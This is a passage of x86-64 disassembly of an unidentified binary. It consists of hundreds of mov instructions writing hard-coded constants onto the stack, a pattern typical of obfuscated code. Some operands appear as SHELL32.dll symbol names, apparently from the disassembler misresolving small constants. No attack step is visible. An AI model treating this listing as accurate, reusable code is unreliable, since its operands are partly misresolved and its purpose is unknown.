mov word [rsp + 0x174c], ax
movabs rax, 0x78e449e66aa9ef
mov qword [rsp + 0xf680], rax
mov eax, 0x236
mov word [rsp + 0x1750], ax
mov byte [rsp + 0x165], 5
mov dword [rsp + 0x7cec], 0xb7af
mov eax, 0x4f8
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x166], 0x76
mov eax, 0xdbf
mov word [rsp + 0x1758], ax
movabs rax, 0x77f64c4fdaba08
mov qword [rsp + 0xf688], rax
mov dword [rsp + 0x7cf0], 0x4cbc
mov dword [rsp + 0x7cf4], 0x1238
mov dword [rsp + 0x7cf8], 0x2ce
mov byte [rsp + 0x167], 0x8e
mov eax, 0x7a0
mov word [rsp + 0x175c], ax
mov eax, 0x4fc
mov word [rsp + 0x1760], ax
mov byte [rsp + 0x168], 0x51
mov eax, 0xe0b
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x7cfc], 0x56d1
mov byte [rsp + 0x169], 0x35
movabs rax, 0x7a75df5ef9ae27
mov qword [rsp + 0xf690], rax
mov byte [rsp + 0x16a], ILClone
mov eax, 0x9de
mov word [rsp + 0x1768], ax
mov dword [rsp + 0x7d00], 0xd603
movabs rax, 0x76ec39da584375
mov qword [rsp + 0xf698], rax
mov dword [rsp + 0x7d04], 0xcfa3
movabs rax, 0x7688540feabb20
mov qword [rsp + 0xf6a0], rax
mov dword [rsp + 0x7d08], 0x830
movabs rax, 0x77b38b21634550
mov qword [rsp + 0xf6a8], rax
mov eax, 0xdb3
mov word [rsp + 0x176c], ax
movabs rax, 0x737cb9461289a1
mov qword [rsp + 0xf6b0], rax
mov eax, 0x72a
mov word [rsp + 0x1770], ax
movabs rax, 0x72c21a7648a899
mov qword [rsp + 0xf6b8], rax
mov eax, 0xb14
mov word [rsp + 0x1774], ax
movabs rax, 0x707b299376e517
mov qword [rsp + 0xf6c0], rax
movabs rax, 0x7946eece72fd21
mov qword [rsp + 0xf6c8], rax
mov byte [rsp + 0x16b], 0x36
mov dword [rsp + 0x7d0c], 0x895f
mov eax, 0x1c7
mov word [rsp + 0x1778], ax
movabs rax, 0x708e6066bc77e5
mov qword [rsp + 0xf6d0], rax
mov dword [rsp + 0x7d10], 0xe757
movabs rax, 0x74cae86f4be9de
mov qword [rsp + 0xf6d8], rax
mov byte [rsp + 0x16c], 0x22
movabs rax, 0x712dedb92a3e43
mov qword [rsp + 0xf6e0], rax
mov byte [rsp + 0x16d], 0x33
movabs rax, 0x70fc406e621d2a
mov qword [rsp + 0xf6e8], rax
mov dword [rsp + 0x7d14], 0x1036
mov eax, 0x213
mov word [rsp + 0x177c], ax
movabs rax, 0x7580522d709f53
mov qword [rsp + 0xf6f0], rax
mov dword [rsp + 0x7d18], 0x750d
movabs rax, 0x707227f1b1c350
mov qword [rsp + 0xf6f8], rax
mov eax, 0x3fc
mov word [rsp + 0x1780], ax
mov byte [rsp + 0x16e], 0x3c
mov dword [rsp + 0x7d1c], 0x72ec
movabs rax, 0x74c1799bc52cd8
mov qword [rsp + 0xf700], rax
mov eax, 0x240
mov word [rsp + 0x1784], ax
mov byte [rsp + 0x16f], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x7d20], 0xe2f
mov byte [rsp + 0x170], 0x74
movabs rax, 0x79e1b83e461233
mov qword [rsp + 0xf708], rax
mov dword [rsp + 0x7d24], 0xf961
mov byte [rsp + 0x171], 0xa0
mov eax, 0xb4e
mov word [rsp + 0x1788], ax
movabs rax, 0x78fc7b21040e75
mov qword [rsp + 0xf710], rax
mov eax, 0x24d
mov word [rsp + 0x178c], ax
movabs rax, 0x7884ddabe6c231
mov qword [rsp + 0xf718], rax
movabs rax, 0x7091b3d44c0dd8
mov qword [rsp + 0xf720], rax
movabs rax, 0x79490ce1d7dfb6
mov qword [rsp + 0xf728], rax
movabs rax, 0x7c651756427bd8
mov qword [rsp + 0xf730], rax
mov dword [rsp + 0x7d28], 0x668d
movabs rax, 0x764c30e2bd2000
mov qword [rsp + 0xf738], rax
mov eax, 0x789
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x7d2c], 0x6b40
movabs rax, 0x70fbbdb82e6ea5
mov qword [rsp + 0xf740], rax
mov dword [rsp + 0x7d30], 0xf55
mov dword [rsp + 0x7d34], 0x4ff9
mov eax, 0x3df
mov word [rsp + 0x1794], ax
mov dword [rsp + 0x7d38], 0x38e6
mov eax, 0xe13
mov word [rsp + 0x1798], ax
mov dword [rsp + 0x7d3c], 0x5b0b
movabs rax, 0x79ffda0bb7b4e6
mov qword [rsp + 0xf748], rax
mov dword [rsp + 0x7d40], 0x2281
mov byte [rsp + 0x172], SHTestTokenMembership
mov byte [rsp + 0x173], 0x3a
movabs rax, 0x7b7757877bed71
mov qword [rsp + 0xf750], rax
mov eax, 0x1df
mov word [rsp + 0x179c], ax
movabs rax, 0x74ca31b714b6fd
mov qword [rsp + 0xf758], rax
mov dword [rsp + 0x7d44], 0x55b1
mov byte [rsp + 0x174], ILSaveToStream
mov eax, 0x9fa
mov word [rsp + 0x17a0], ax
mov byte [rsp + 0x175], 0xf9
movabs rax, 0x71c3e4164bdf0d
mov qword [rsp + 0xf760], rax
mov byte [rsp + 0x176], 0x67
mov dword [rsp + 0x7d48], 0x462f
mov eax, 0x333
mov word [rsp + 0x17a4], ax
movabs rax, 0x7d32b3d6e8d9e9
mov qword [rsp + 0xf768], rax
movabs rax, 0x757ce87435d189
mov qword [rsp + 0xf770], rax
mov eax, 0xa12
mov word [rsp + 0x17a8], ax
mov byte [rsp + 0x177], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x178], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x700dd58d365b1c
mov qword [rsp + 0xf778], rax
movabs rax, 0x76e82e42cb9c57
mov qword [rsp + 0xf780], rax
mov byte [rsp + 0x179], 0xde
mov eax, 0xc5f
mov word [rsp + 0x17ac], ax
movabs rax, 0x74bf365938d986
mov qword [rsp + 0xf788], rax
mov eax, 0x25d
mov word [rsp + 0x17b0], ax
movabs rax, 0x72bd1af7684712
mov qword [rsp + 0xf790], rax
mov eax, 0x4af
mov word [rsp + 0x17b4], ax
mov dword [rsp + 0x7d4c], 0xa6e9
mov byte [rsp + 0x17a], 1
mov dword [rsp + 0x7d50], 0xe104
mov byte [rsp + 0x17b], 0xd8
movabs rax, 0x736a9661e7404c
mov qword [rsp + 0xf798], rax
movabs rax, 0x7407fa38824ea9
mov qword [rsp + 0xf7a0], rax
movabs rax, 0x7c101d765884c8
mov qword [rsp + 0xf7a8], rax
mov byte [rsp + 0x17c], 0x3d
mov byte [rsp + 0x17d], SHUpdateImageW
mov eax, 0xa2f
mov word [rsp + 0x17b8], ax
mov dword [rsp + 0x7d54], 0x727f
mov dword [rsp + 0x7d58], 0x55e1
mov dword [rsp + 0x7d5c], 0x506b
mov eax, 0x7b5
mov word [rsp + 0x17bc], ax
mov dword [rsp + 0x7d60], 0x8e67
movabs rax, 0x74c0f9b63d4596
mov qword [rsp + 0xf7b0], rax
mov byte [rsp + 0x17e], PathMakeUniqueName
mov eax, 0xc41
mov word [rsp + 0x17c0], ax
mov eax, 0x756
mov word [rsp + 0x17c4], ax
mov eax, 0x545
mov word [rsp + 0x17c8], ax
movabs rax, 0x70b9af3d2d138e
mov qword [rsp + 0xf7b8], rax
mov eax, 0x289
mov word [rsp + 0x17cc], ax
movabs rax, 0x7bbc9539a8196e
mov qword [rsp + 0xf7c0], rax
mov byte [rsp + 0x17f], 9
mov byte [rsp + 0x180], 0x22
mov byte [rsp + 0x181], 0xc8
mov byte [rsp + 0x182], 0x3c
mov byte [rsp + 0x183], 0xd1
mov eax, 0x2a1
mov word [rsp + 0x17d0], ax
mov dword [rsp + 0x7d64], 0x2fb0
mov byte [rsp + 0x184], reloc.SHELL32.dll_ILGetNext
movabs rax, 0x7db7a207974312
mov qword [rsp + 0xf7c8], rax
mov dword [rsp + 0x7d68], 0x3fe2
mov dword [rsp + 0x7d6c], 0x7e78
mov dword [rsp + 0x7d70], 0x28f5
movabs rax, 0x7ccd24c9c93182
mov qword [rsp + 0xf7d0], rax
mov byte [rsp + 0x185], ILClone
mov byte [rsp + 0x186], 0x8b
mov dword [rsp + 0x7d74], 0x1553
mov byte [rsp + 0x187], PathYetAnotherMakeUniqueName
movabs rax, 0x77620050d1fb0e
mov qword [rsp + 0xf7d8], rax
movabs rax, 0x750e776e9436eb
mov qword [rsp + 0xf7e0], rax
mov eax, 0x380
mov word [rsp + 0x17d4], ax
mov byte [rsp + 0x188], PathYetAnotherMakeUniqueName
mov eax, SHTestTokenMembership
mov word [rsp + 0x17d8], ax
mov byte [rsp + 0x189], 0x54
mov eax, 0x852
mov word [rsp + 0x17dc], ax
movabs rax, 0x709749d0fa289a
mov qword [rsp + 0xf7e8], rax
mov dword [rsp + 0x7d78], 0x563b
mov eax, 0x773
mov word [rsp + 0x17e0], ax
movabs rax, 0x7b2872137db798
mov qword [rsp + 0xf7f0], rax
mov dword [rsp + 0x7d7c], 0x676a
movabs rax, 0x720f2f7de7aa01
mov qword [rsp + 0xf7f8], rax
mov dword [rsp + 0x7d80], 0x3d5c
mov byte [rsp + 0x18a], 5
mov dword [rsp + 0x7d84], 0x543b
mov byte [rsp + 0x18b], 0x8a
mov dword [rsp + 0x7d88], 0xb3c4
mov dword [rsp + 0x7d8c], 0x5928
mov eax, 0x4db
mov word [rsp + 0x17e4], ax
mov eax, 0x895
mov word [rsp + 0x17e8], ax
movabs rax, 0x7e84a8b1f28370
mov qword [rsp + 0xf800], rax
movabs rax, 0x74a6d860083a68
mov qword [rsp + 0xf808], rax
mov dword [rsp + 0x7d90], 0xf5e4
movabs rax, 0x772b114f8af322
mov qword [rsp + 0xf810], rax
mov byte [rsp + 0x18c], 0xf7
mov byte [rsp + 0x18d], 1
movabs rax, 0x7d86db49ca5a7f
mov qword [rsp + 0xf818], rax
mov dword [rsp + 0x7d94], 0x9e40
mov eax, 0x1f3
mov word [rsp + 0x17ec], ax
mov byte [rsp + 0x18e], 0xc3
mov eax, 0x476
mov word [rsp + 0x17f0], ax
mov eax, 0x8ce
mov word [rsp + 0x17f4], ax
mov eax, 0x326
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x7d98], 0x64af
mov dword [rsp + 0x7d9c], 0xcf21
mov dword [rsp + 0x7da0], 0xecc1
movabs rax, 0x7202feefbcfad2
mov qword [rsp + 0xf820], rax
mov dword [rsp + 0x7da4], 0x4c26
mov dword [rsp + 0x7da8], 0x1996
mov dword [rsp + 0x7dac], 0x3118
movabs rax, 0x75b459422b5e13
mov qword [rsp + 0xf828], rax
mov dword [rsp + 0x7db0], 0x342b
mov byte [rsp + 0x18f], 0x3d
mov eax, reloc.SHELL32.dll_SHTestTokenMembership
mov word [rsp + 0x17fc], ax
movabs rax, 0x7b71572dc53cef
mov qword [rsp + 0xf830], rax
mov eax, 0x754
mov word [rsp + 0x1800], ax
movabs rax, 0x7a8b3a2cf64d73
mov qword [rsp + 0xf838], rax
movabs rax, 0x7980a1d4784b92
mov qword [rsp + 0xf840], rax
movabs rax, 0x75cab382588cdd
mov qword [rsp + 0xf848], rax
mov eax, 0x1d3
mov word [rsp + 0x1804], ax
mov dword [rsp + 0x7db4], 0x3604
mov byte [rsp + 0x190], 0xa5
mov byte [rsp + 0x191], 0xc8
movabs rax, 0x77078e4839cf39
mov qword [rsp + 0xf850], rax
mov eax, 0xbd8
mov word [rsp + 0x1808], ax
movabs rax, 0x77c29bc4bd9208
mov qword [rsp + 0xf858], rax
movabs rax, 0x7c0284591c229d
mov qword [rsp + 0xf860], rax
mov dword [rsp + 0x7db8], 0x87d
mov eax, 0x501
mov word [rsp + 0x180c], ax
mov eax, 0x4f0
mov word [rsp + 0x1810], ax
mov eax, 0x2df
mov word [rsp + 0x1814], ax
mov byte [rsp + 0x192], 6
mov dword [rsp + 0x7dbc], 0x7279
movabs rax, 0x7eba21092e3ce9
mov qword [rsp + 0xf868], rax
mov dword [rsp + 0x7dc0], 0x1f6
movabs rax, 0x77bf09fd6f58c6
mov qword [rsp + 0xf870], rax
movabs rax, 0x71e54142c458a6
mov qword [rsp + 0xf878], rax
mov eax, 0x7d6
mov word [rsp + 0x1818], ax
mov byte [rsp + 0x193], 0x79
mov eax, 0x451
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x7dc4], 0xa3b5
mov dword [rsp + 0x7dc8], 0x506b
mov dword [rsp + 0x7dcc], 0x29be
mov eax, 0x696
mov word [rsp + 0x1820], ax
mov dword [rsp + 0x7dd0], 0x7dc4
movabs rax, 0x70d944942cc7b0
mov qword [rsp + 0xf880], rax
mov dword [rsp + 0x7dd4], 0x398e
mov byte [rsp + 0x194], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x7dd8], 0x17ea
mov eax, 0xcd
mov word [rsp + 0x1824], ax
mov eax, 0x2ed
mov word [rsp + 0x1828], ax
movabs rax, 0x7ad616060bd429
mov qword [rsp + 0xf888], rax
mov eax, 0xa92
mov word [rsp + 0x182c], ax
movabs rax, 0x7b7aaf10e5893d
mov qword [rsp + 0xf890], rax
mov eax, 0xeee
mov word [rsp + 0x1830], ax
mov eax, 0x72a
mov word [rsp + 0x1834], ax
mov eax, 0xf56
mov word [rsp + 0x1838], ax
movabs rax, 0x759009a56e5cfc
mov qword [rsp + 0xf898], rax
mov eax, 0x1b5
mov word [rsp + 0x183c], ax
mov byte [rsp + 0x195], 0x31
movabs rax, 0x7bd829e0b70ab2
mov qword [rsp + 0xf8a0], rax
mov byte [rsp + 0x196], ILSaveToStream
movabs rax, 0x736e94f9977ce4
mov qword [rsp + 0xf8a8], rax
mov dword [rsp + 0x7ddc], 0x750e
movabs rax, 0x7015fcfd559dc6
mov qword [rsp + 0xf8b0], rax
mov byte [rsp + 0x197], 0xe2
mov byte [rsp + 0x198], 0xf9
movabs rax, 0x7ef6c6747e55b7
mov qword [rsp + 0xf8b8], rax
movabs rax, 0x7970310ddea825
mov qword [rsp + 0xf8c0], rax
mov eax, 0x2fd
mov word [rsp + 0x1840], ax
mov eax, 0xe9
mov word [rsp + 0x1844], ax
movabs rax, 0x76ca049cb783ed
mov qword [rsp + 0xf8c8], rax
mov dword [rsp + 0x7de0], 0x7fe8
mov byte [rsp + 0x199], 0x73
mov eax, SHUpdateImageW
mov word [rsp + 0x1848], ax
mov eax, 0x60f
mov word [rsp + 0x184c], ax
movabs rax, 0x7b8a5c1b22ed4d
mov qword [rsp + 0xf8d0], rax
mov byte [rsp + 0x19a], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0xefe
mov word [rsp + 0x1850], ax
mov dword [rsp + 0x7de4], 0x2964
mov eax, 0x15e
mov word [rsp + 0x1854], ax
mov eax, 0xa2c
mov word [rsp + 0x1858], ax
movabs rax, 0x76d0d48ed780b7
mov qword [rsp + 0xf8d8], rax
mov byte [rsp + 0x19b], 8
movabs rax, 0x770342decf0565
mov qword [rsp + 0xf8e0], rax
movabs rax, 0x73ededc44131c4
mov qword [rsp + 0xf8e8], rax
mov eax, 0x20
mov word [rsp + 0x185c], ax
movabs rax, 0x749d2e5db0e796
mov qword [rsp + 0xf8f0], rax
mov eax, 0x51d
mov word [rsp + 0x1860], ax
movabs rax, 0x7e8287be75c2f4
mov qword [rsp + 0xf8f8], rax
mov byte [rsp + 0x19c], SHTestTokenMembership
mov byte [rsp + 0x19d], 0xf8
mov byte [rsp + 0x19e], 0x5c
mov eax, 0x1f3
mov word [rsp + 0x1864], ax
mov eax, 0xdc5
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x7de8], 0x236a
mov byte [rsp + 0x19f], 0x21
mov eax, 0x1c5
mov word [rsp + 0x186c], ax
mov eax, 0xa84
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x7dec], 0x2440
mov eax, 0xa1c
mov word [rsp + 0x1874], ax
mov byte [rsp + 0x1a0], 0x60
mov eax, 0x167
mov word [rsp + 0x1878], ax
mov eax, 0xe9f
mov word [rsp + 0x187c], ax
movabs rax, 0x7c4bc4b1a0747e
mov qword [rsp + 0xf900], rax
mov dword [rsp + 0x7df0], 0x4894
mov byte [rsp + 0x1a1], 0x6a
movabs rax, 0x7387ac25e6584f
mov qword [rsp + 0xf908], rax
movabs rax, 0x79092fdf137c64
mov qword [rsp + 0xf910], rax
movabs rax, 0x72f2e3e3f4d0aa
mov qword [rsp + 0xf918], rax
movabs rax, 0x7b2e9986096b98
mov qword [rsp + 0xf920], rax
mov dword [rsp + 0x7df4], 0xcab4
movabs rax, 0x7ea9756a8fbb47
mov qword [rsp + 0xf928], rax
mov byte [rsp + 0x1a2], 0xfd
mov byte [rsp + 0x1a3], ILClone
mov dword [rsp + 0x7df8], 0x181f
mov byte [rsp + 0x1a4], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7dfc], 0x8045
movabs rax, 0x76ca38c9f03338
mov qword [rsp + 0xf930], rax
movabs rax, 0x76bbd31337d50b
mov qword [rsp + 0xf938], rax
mov byte [rsp + 0x1a5], 0xa0
movabs rax, 0x7e8597574ca17c
mov qword [rsp + 0xf940], rax
mov eax, 0x730
mov word [rsp + 0x1880], ax
mov dword [rsp + 0x7e00], 0x1089
mov dword [rsp + 0x7e04], 0xfefc
mov eax, 0x496
mov word [rsp + 0x1884], ax
movabs rax, 0x7310f7581bc14d
mov qword [rsp + 0xf948], rax
mov byte [rsp + 0x1a6], ILSaveToStream
mov eax, 0x166
mov word [rsp + 0x1888], ax
mov byte [rsp + 0x1a7], ILClone
movabs rax, 0x71d4530b7af033
mov qword [rsp + 0xf950], rax
movabs rax, 0x7ccfb08f87de35
mov qword [rsp + 0xf958], rax
mov byte [rsp + 0x1a8], 0x63
mov dword [rsp + 0x7e08], 0x6fd6
movabs rax, 0x7031d818eb5791
mov qword [rsp + 0xf960], rax
movabs rax, 0x773b5b378c7ffe
mov qword [rsp + 0xf968], rax
mov eax, 0x370
mov word [rsp + 0x188c], ax
mov eax, 0x358
mov word [rsp + 0x1890], ax
mov byte [rsp + 0x1a9], PathMakeUniqueName
movabs rax, 0x730ce4afd8cc4d
mov qword [rsp + 0xf970], rax
mov eax, 0x3a
mov word [rsp + 0x1894], ax
movabs rax, 0x7dccd057e05f00
mov qword [rsp + 0xf978], rax
movabs rax, 0x79cc503ded5eda
mov qword [rsp + 0xf980], rax
mov dword [rsp + 0x7e0c], 0x3a99
mov byte [rsp + 0x1aa], reloc.SHELL32.dll_SHGetNewLinkInfoW
movabs rax, 0x785c83faee12b0
mov qword [rsp + 0xf988], rax
movabs rax, 0x72b02e94a4a674
mov qword [rsp + 0xf990], rax
movabs rax, 0x7a52b350b8eda3
mov qword [rsp + 0xf998], rax
mov byte [rsp + 0x1ab], 0xce
mov eax, 0x2ef
mov word [rsp + 0x1898], ax
movabs rax, 0x7c84c4dcd113d5
mov qword [rsp + 0xf9a0], rax
mov eax, 0x57d
mov word [rsp + 0x189c], ax
movabs rax, 0x7cd99f9fa2ee26
mov qword [rsp + 0xf9a8], rax
mov dword [rsp + 0x7e10], 0x3ed9
mov eax, 0x97f
mov word [rsp + 0x18a0], ax
movabs rax, 0x7ebca5aed4613f
mov qword [rsp + 0xf9b0], rax
mov dword [rsp + 0x7e14], 0xe5
mov eax, 0xa79
mov word [rsp + 0x18a4], ax
movabs rax, 0x72951f1b8a5667
mov qword [rsp + 0xf9b8], rax
mov eax, 0x678
mov word [rsp + 0x18a8], ax
movabs rax, 0x7cc2d0f132bd9a
mov qword [rsp + 0xf9c0], rax
mov eax, 0xd5
mov word [rsp + 0x18ac], ax
mov eax, 0x5c9
mov word [rsp + 0x18b0], ax
mov byte [rsp + 0x1ac], 0xfc
mov byte [rsp + 0x1ad], 0x78
mov eax, 0xfb9
mov word [rsp + 0x18b4], ax
mov eax, 0x385
mov word [rsp + 0x18b8], ax
movabs rax, 0x7b328cd5300ff4
mov qword [rsp + 0xf9c8], rax
mov dword [rsp + 0x7e18], 0x6508
mov eax, 0x450
mov word [rsp + 0x18bc], ax
movabs rax, 0x73460b5829c19e
mov qword [rsp + 0xf9d0], rax
mov dword [rsp + 0x7e1c], 0x37b
mov byte [rsp + 0x1ae], reloc.SHELL32.dll_SHUpdateImageW
mov byte [rsp + 0x1af], 7
mov dword [rsp + 0x7e20], 0x25ec
mov eax, 0x513
mov word [rsp + 0x18c0], ax
mov dword [rsp + 0x7e24], 0xc6c
mov dword [rsp + 0x7e28], 0x89bd
movabs rax, 0x7dd6c869154c96
mov qword [rsp + 0xf9d8], rax
mov dword [rsp + 0x7e2c], 0x114e
movabs rax, 0x71ea88af63b8af
mov qword [rsp + 0xf9e0], rax
movabs rax, 0x76d2cfa5151ee9
mov qword [rsp + 0xf9e8], rax
mov dword [rsp + 0x7e30], 0xa875
mov dword [rsp + 0x7e34], 0x8a23
mov byte [rsp + 0x1b0], 0xc8
mov dword [rsp + 0x7e38], 0xf1ea
movabs rax, 0x7840eb3416cd6d
mov qword [rsp + 0xf9f0], rax
mov byte [rsp + 0x1b1], 0x38
mov eax, 0x213
mov word [rsp + 0x18c4], ax
mov byte [rsp + 0x1b2], 0x88
movabs rax, 0x7a13227cac25c1
mov qword [rsp + 0xf9f8], rax
mov dword [rsp + 0x7e3c], 0x9d8
mov byte [rsp + 0x1b3], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x7e40], 0x3e3b
movabs rax, 0x776b6f0baabb71
mov qword [rsp + 0xfa00], rax
mov eax, 0x632
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x7e44], 0x5e92
mov eax, 0x25b
mov word [rsp + 0x18cc], ax
movabs rax, 0x70ba5488e69499
mov qword [rsp + 0xfa08], rax
movabs rax, 0x70170e842df635
mov qword [rsp + 0xfa10], rax
mov eax, 0xe20
mov word [rsp + 0x18d0], ax
movabs rax, 0x7b0b8c337845a7
mov qword [rsp + 0xfa18], rax
movabs rax, 0x7820f7e4a66636
mov qword [rsp + 0xfa20], rax
mov eax, 0xe5b
mov word [rsp + 0x18d4], ax
mov byte [rsp + 0x1b4], 0x43
mov byte [rsp + 0x1b5], 0xa
mov dword [rsp + 0x7e48], 0x51ef
mov eax, 0x21e
mov word [rsp + 0x18d8], ax
mov eax, 0x722
mov word [rsp + 0x18dc], ax
movabs rax, 0x7b5a1473c84033
mov qword [rsp + 0xfa28], rax
mov byte [rsp + 0x1b6], PathYetAnotherMakeUniqueName
mov eax, 0x46d
mov word [rsp + 0x18e0], ax
movabs rax, 0x76a1c25109cf9b
mov qword [rsp + 0xfa30], rax
movabs rax, 0x7e05c1f90265cb
mov qword [rsp + 0xfa38], rax
mov eax, 0x2b5
mov word [rsp + 0x18e4], ax
movabs rax, 0x7ab3d286cf68d1
mov qword [rsp + 0xfa40], rax
movabs rax, 0x7ccdd8f0fe7fd4
mov qword [rsp + 0xfa48], rax
mov eax, 0x1bf
mov word [rsp + 0x18e8], ax
mov eax, 0x45b
mov word [rsp + 0x18ec], ax
movabs rax, 0x7830adc6e91650
mov qword [rsp + 0xfa50], rax
movabs rax, 0x70cdad977f57c9
mov qword [rsp + 0xfa58], rax
mov dword [rsp + 0x7e4c], 0x5a1c
movabs rax, 0x7bb064e9a7a677
mov qword [rsp + 0xfa60], rax
mov byte [rsp + 0x1b7], PathMakeUniqueName
mov dword [rsp + 0x7e50], 0x6906
mov byte [rsp + 0x1b8], reloc.SHELL32.dll_ILClone
movabs rax, 0x7042379e9e9ef4
mov qword [rsp + 0xfa68], rax
mov byte [rsp + 0x1b9], 0x5a
mov byte [rsp + 0x1ba], 0x52
mov byte [rsp + 0x1bb], 0xa4
mov eax, 0x5ce
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x7e54], 0x730c
movabs rax, 0x70693b8b2b2783
mov qword [rsp + 0xfa70], rax
mov byte [rsp + 0x1bc], 0x8a
mov eax, 0x62
mov word [rsp + 0x18f4], ax
mov eax, 0x45c
mov word [rsp + 0x18f8], ax
movabs rax, 0x7142d13f89b44f
mov qword [rsp + 0xfa78], rax
movabs rax, 0x773ddadc690afa
mov qword [rsp + 0xfa80], rax
mov dword [rsp + 0x7e58], 0x7e86
mov dword [rsp + 0x7e5c], 0x9d8
mov eax, 0xb32
mov word [rsp + 0x18fc], ax
mov byte [rsp + 0x1bd], 0x4d
movabs rax, 0x75d2a059e52c00
mov qword [rsp + 0xfa88], rax
mov byte [rsp + 0x1be], 0x73
movabs rax, 0x76ce428b915c68
mov qword [rsp + 0xfa90], rax
mov byte [rsp + 0x1bf], 3
movabs rax, 0x79eb88e68f2ef2
mov qword [rsp + 0xfa98], rax
mov byte [rsp + 0x1c0], 0x4d
mov byte [rsp + 0x1c1], ILSaveToStream
mov eax, 0x622
mov word [rsp + 0x1900], ax
mov byte [rsp + 0x1c2], 0x70
mov eax, ILClone
mov word [rsp + 0x1904], ax
mov byte [rsp + 0x1c3], ILClone
mov dword [rsp + 0x7e60], 0x58b5
mov dword [rsp + 0x7e64], 0x45ae
mov dword [rsp + 0x7e68], 0x30c4
mov byte [rsp + 0x1c4], 0x42
mov byte [rsp + 0x1c5], PathMakeUniqueName
mov eax, 0xd03
mov word [rsp + 0x1908], ax
mov byte [rsp + 0x1c6], 0xd1
mov eax, 0x444
mov word [rsp + 0x190c], ax
mov eax, 0x3c
mov word [rsp + 0x1910], ax
mov dword [rsp + 0x7e6c], 0x6db2
mov byte [rsp + 0x1c7], PathMakeUniqueName
mov dword [rsp + 0x7e70], 0xf37c
mov eax, 0xab1
mov word [rsp + 0x1914], ax
mov dword [rsp + 0x7e74], 0x1410
mov byte [rsp + 0x1c8], 0x1f
mov eax, 0x608
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x7e78], 0x688b
mov dword [rsp + 0x7e7c], 0xc7cf
mov eax, 0xdb8
mov word [rsp + 0x191c], ax
mov dword [rsp + 0x7e80], 0x1b9d
mov eax, 0x45e
mov word [rsp + 0x1920], ax
mov eax, 0x5c6
mov word [rsp + 0x1924], ax
movabs rax, 0x73b49f69648952
mov qword [rsp + 0xfaa0], rax
mov byte [rsp + 0x1c9], ILSaveToStream
mov eax, 0xeac
mov word [rsp + 0x1928], ax
movabs rax, 0x7ce05bc6f659db
mov qword [rsp + 0xfaa8], rax
mov dword [rsp + 0x7e84], 0xf9d
mov byte [rsp + 0x1ca], 0x6c
mov byte [rsp + 0x1cb], 0xe9
mov eax, 0x8c4
mov word [rsp + 0x192c], ax
mov dword [rsp + 0x7e88], 0x1f1d
mov eax, 0x70d
mov word [rsp + 0x1930], ax
movabs rax, 0x767c584e9dac56
mov qword [rsp + 0xfab0], rax
mov dword [rsp + 0x7e8c], 0x6298
movabs rax, 0x74704c4513987a
mov qword [rsp + 0xfab8], rax
mov byte [rsp + 0x1cc], SHTestTokenMembership
mov eax, 0xee7
mov word [rsp + 0x1934], ax
movabs rax, 0x7ba134a66cc265
mov qword [rsp + 0xfac0], rax
mov byte [rsp + 0x1cd], 0x4f
mov dword [rsp + 0x7e90], 0x5755
mov eax, 0x7f3
mov word [rsp + 0x1938], ax
mov byte [rsp + 0x1ce], 0x88
mov dword [rsp + 0x7e94], 0x4a
mov eax, 0x124
mov word [rsp + 0x193c], ax
mov dword [rsp + 0x7e98], 0x847c
movabs rax, 0x780220f513c567
mov qword [rsp + 0xfac8], rax
movabs rax, 0x7d46dde368261b
mov qword [rsp + 0xfad0], rax
movabs rax, 0x7d917068072a59
mov qword [rsp + 0xfad8], rax
mov dword [rsp + 0x7e9c], 0x173f
movabs rax, 0x7d0cacb6e34e65
mov qword [rsp + 0xfae0], rax
mov dword [rsp + 0x7ea0], 0x1091
mov byte [rsp + 0x1cf], 0x42
mov eax, 0x7e
mov word [rsp + 0x1940], ax
mov dword [rsp + 0x7ea4], 0xdd7f
mov dword [rsp + 0x7ea8], 0x65d3
movabs rax, 0x783c57afe15fb1
mov qword [rsp + 0xfae8], rax
movabs rax, 0x74cb75698ccbea
mov qword [rsp + 0xfaf0], rax
mov dword [rsp + 0x7eac], 0x9689
movabs rax, 0x7c48a6ee77a7ff
mov qword [rsp + 0xfaf8], rax
mov eax, 0x9ab
mov word [rsp + 0x1944], ax
movabs rax, 0x77d8b78290a6e4
mov qword [rsp + 0xfb00], rax
mov eax, 0x5ad
mov word [rsp + 0x1948], ax
movabs rax, 0x736bf77f6d732f
mov qword [rsp + 0xfb08], rax
movabs rax, 0x7754d3c98e29e9
mov qword [rsp + 0xfb10], rax
movabs rax, 0x71a1956adc64e8
mov qword [rsp + 0xfb18], rax
movabs rax, 0x7dd9b555340769
mov qword [rsp + 0xfb20], rax
movabs rax, 0x75f7741afde8b0
mov qword [rsp + 0xfb28], rax
mov byte [rsp + 0x1d0], 0x6a
movabs rax, 0x7473c794349c22
mov qword [rsp + 0xfb30], rax
movabs rax, 0x71e7acb12fbdc7
mov qword [rsp + 0xfb38], rax
mov byte [rsp + 0x1d1], 0x13
mov dword [rsp + 0x7eb0], 0x6005
mov byte [rsp + 0x1d2], 0x34
movabs rax, 0x763a763d08ea9e
mov qword [rsp + 0xfb40], rax
mov eax, 0x648
mov word [rsp + 0x194c], ax
movabs rax, 0x74a4a38da5f4ce
mov qword [rsp + 0xfb48], rax
mov dword [rsp + 0x7eb4], 0x2dac
movabs rax, 0x758be99a9a2806
mov qword [rsp + 0xfb50], rax
mov eax, 0x7de
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x7eb8], 0x2143
movabs rax, 0x7712c5fcec9e4b
mov qword [rsp + 0xfb58], rax
mov eax, 0x660
mov word [rsp + 0x1954], ax
mov byte [rsp + 0x1d3], SHSetInstanceExplorer
movabs rax, 0x7ca2274b79a0e4
mov qword [rsp + 0xfb60], rax
mov eax, 0x895
mov word [rsp + 0x1958], ax
mov eax, 0x2d9
